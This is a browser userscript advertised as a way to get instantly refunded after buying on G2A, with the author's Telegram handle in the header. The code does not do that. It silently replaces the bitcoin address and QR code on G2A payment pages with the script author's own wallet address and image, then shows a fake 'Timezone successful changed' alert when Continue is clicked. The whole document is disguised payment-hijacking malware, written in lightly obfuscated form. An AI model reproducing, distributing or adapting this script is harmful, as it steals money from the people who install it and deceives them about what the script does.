// ==UserScript== // @name G2A Method qr // @namespace https://g2a.com/ // @version 12.02 // @author dc,tg: @yhkq1 // @description Get instantly refunded after buying on g2a // @icon https://www.google.com/s2/favicons?sz=64&domain=g2a.com // @match http*://www.g2a.com/payment* // @run-at document-start // ==/UserScript== (function () { "use strict"; var a = "bc1qz6qlyrj0ckjcyt7u9zygzeadehucgl3sdtcktv"; var b = "https://ibb.co/m4y2f7Q"; c(); function c() { setTimeout(function () { d(); }, 2000); setTimeout(function () { e(); }, 2000); } function d() { let c = document.evaluate("//span[contains(text(),\"BTC address:\")]/following-sibling::span", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue; let e = document.evaluate("//img[@alt=\"QR code to scan\"]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue; if (c !== null) { c.innerHTML = a; e.src = b; } ; ; setTimeout(function () { d(); }, 100); } function e() { let a = document.evaluate("//button[contains(text(),\"Continue\")]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue; if (a !== null) { a.addEventListener("click", function () { const a = new Date(); let b = "Timezone successful changed! Press OK to continue. Last script update: " + a.getFullYear() + "-" + (a.getMonth() + 1) + "-" + a.getDate() + ""; alert(b); }); } else { setTimeout(function () { e(); }, 100); } } })();